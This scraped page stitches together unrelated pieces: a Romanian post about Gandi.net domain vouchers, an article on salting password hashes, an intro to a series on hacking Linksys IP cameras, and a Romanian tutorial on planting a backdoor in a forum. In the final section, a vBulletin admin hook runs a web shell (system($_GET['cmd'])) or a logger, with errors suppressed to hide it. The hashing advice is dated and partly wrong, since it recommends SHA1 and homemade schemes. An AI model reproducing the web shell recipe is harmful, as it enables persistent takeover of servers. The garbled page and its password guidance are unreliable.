Leaderboard

To celebrate their 10th Birthday Gandi.net have decided to reward their customers by giving away 55,000 free domain vouchers, some of which they can offer to their friends or family. La ora 22:00 fix se dau 1000 vouchere , iar la 23:00 ultimele 1000 vouchere. Faceti cont si intrati pe https://ten.gandi.net/vouchers la FIX pentru a primii cuponul , iar cu cuponul acela puteti cumpara un domeniu. Eu am prins cupon la ora 20:00.

It goes without saying that sensitive information such as passwords or pass phrases should never be stored in plain text in the database in the first place. The common practice is to hash the user password and store the hash string of the password in the database. When the user tries to log in and supplies his password, it is used to generate a hash string to be compared to the one stored in the database. If they are identical, the password is the same because the chance of 2 distinct strings having the same hash string is so low that it’s mathematically impossible. This approach may be secure in the 70s of the last century, but barely any more. Thanks to unprecedentedly cheap computing power now, rainbow tables, the mapping function from hash strings to any possible combinations of keyboard characters (alphanumeric, punctuations, etc.) have rendered this password storage / validation method insecure. With a mapping table of trillions of hash to cleartext pairs, it takes only 160 seconds to crack the password “Fgpyyih804423” which most of us would generally agree is fairly safe. What can we do? Provide a random salt when you are hashing the secret text. For instance with the PHP’s SHA1 hashing function: $my_hash = sha1('whatever salt you put here would do,,,???'.$secret); As you can see, the salt string can be whatever you like, in a random manner, prefixed and / or suffixed to the secret text before it is hashed into a hash string which will be stored. This way, because the cracker has no idea what the salt is, there’s no way he can create the right rainbow table to perform the crack. Even if he does, he would have to specifically build a rainbow table to crack your database which can be time-consuming. Therefore, to make this much more difficult for the cracker to break the passwords in the database, you need to use different salt for each of the password entries in your database: $salt = generate_random_salt(); // your in-house function that generates a random salt, perhaps by uniqid(mt_rand(microtime())) $my_hash = sha1($salt.$secret); // the $salt must then be stored in your database on a per entry base // this function is the same as hash('sha1', $salt.$secret), but a better algorithm would be hash('whirlpool', $salt.$secret) When the salt string is a per application constant, you can store it rather obscurely somewhere in your application code. However when you use random salt strings, you will have to store it correspondingly with the hash string $my_hash in the database, or otherwise you won’t be able to generate the correct hash string of the password user provides for authentication against the one stored in database. It doesn’t even matter if the cracker gets the database and knows all the random salts, because he’d have to create and run through a huge rainbow table specific to each of the random salts to crack just one password. It’s so squarely and prohibitively time-consuming that he’d definitely give up. A better yet approach to defend against rainbow or dictionary attacks is to be creative in generating the hash string – such as taking the username string into the generation and implementing multiple layers of hashing, in a playfully diversifying manner. At last, it is recommended that you generate the initial hash string (the one to be stored in database) by running 1000 iterations of hashing instead of just 1. The extra computing burden on your server is negligible while it will increase the time needed to crack a single password by 1000 times at the cracker’s end. The point is to make the hashing process as slow as possible rather than the other way around. As the cracking usually makes password guesses and trial logins at a much higher paced speed, the slowness will have a much more detrimental effect on the cracker than on your website. Just Hashing is Far from Enough for Storing Passwords – How to Position against Dictionary and Rainbow Table Attacks

I found the camera to be quite good functionalities-wise, although I’ve experienced availability problems with it. It seems the camera freezes every once in a while. Well, this is true at least when you heavily customized its configuration which is what I’ve ultimately done after playing so much with it. I’ve loved playing with embedded devices for a while, and as a security researcher I find it quite an interesting topic as many "de facto" security principles that are usually (attempted to be) followed when designing other types of systems are not often applied to embedded devices. This, I believe is due to lack of limitations in hardware resources, and lack of awareness on consequences of getting a miscellaneous device compromised. i.e.: "who cares if my IP camera gets owned?" During the next days, I’ll be posting some vulnerabilities I’ve found. Some of them are fun and serious, while others you might find kind of boring. Meet the target You can learn a lot about the specs of a device by simply reading the product’s literature. However, sometimes not enough info is provided in these documents. The following are some of the specs I confirmed by interacting with the camera in various ways: * CPU: Faraday FA526id(wb) rev 1 (v4l) according to /proc/cpuinfo * OS: Linux version 2.4.19-pl1029 according to /proc/version plus Busybox (confirmed as the file /bin/busybox exists on the filesystem) * HTTPD: thttpd 2.25b (extracted from banner returned on default html error pages and ‘Server:’ HTTP headers) * Memory:30908 kB (32 MB?) according to /proc/meminfo * Firmware Version: V1.00R22 and V1.00R24 (latest version available as on 16th April 2009) Hacking Linksys IP Cameras (pt 1) | GNUCITIZEN Hacking Linksys IP Cameras (pt 2) | GNUCITIZEN Hacking Linksys IP Cameras (pt 3) | GNUCITIZEN Hacking Linksys IP Cameras (pt 4) | GNUCITIZEN Hacking Linksys IP Cameras (pt 5) | GNUCITIZEN Hacking Linksys IP Cameras (pt 6) | GNUCITIZEN

Dinainte de a incepe trebuie sa stiti ca aveti nevoie de un cont de administrator pentru a face asta! Pasul1. Activati "Plugin/Hook System" de aici -> admincp/options.php?do=options&dogroup=plugin Pasul2. Creati un nou plugin accesand urmatoarea adresa -> admincp/plugin.php?do=add Pasul3. Completati identic => - La Hook Location selectati din lista global_start - Title puneti ce vreti voi - Execution Order lasati valoarea pusa deja - Plugin PHP Code -> aici e treaba, nu trebuie neaparat sa includeti numai un shell, puteti sa faceti ce vreti voi cu el, sa puneti un php logger, sa faceti chiar ce vrea sufletelul vostru, completati field-ul respectiv cu ce aveti voi nevoie: ex: file_put_contents("fisier.txt","aaa"); ex1: system($_GET['cmd']); ... si exemplele pot continua, va trebuie doar imaginatie Pasul4. Bifati sa fie activa si salvati ps: pentru a nu afisa erori e bine ca sa folositi @ la orice functie care poate intoarce o eroare ps1:merge pe toate versiunile de vbulletin Sper sa va fie de folos, aa si apropo da-ti la rep putin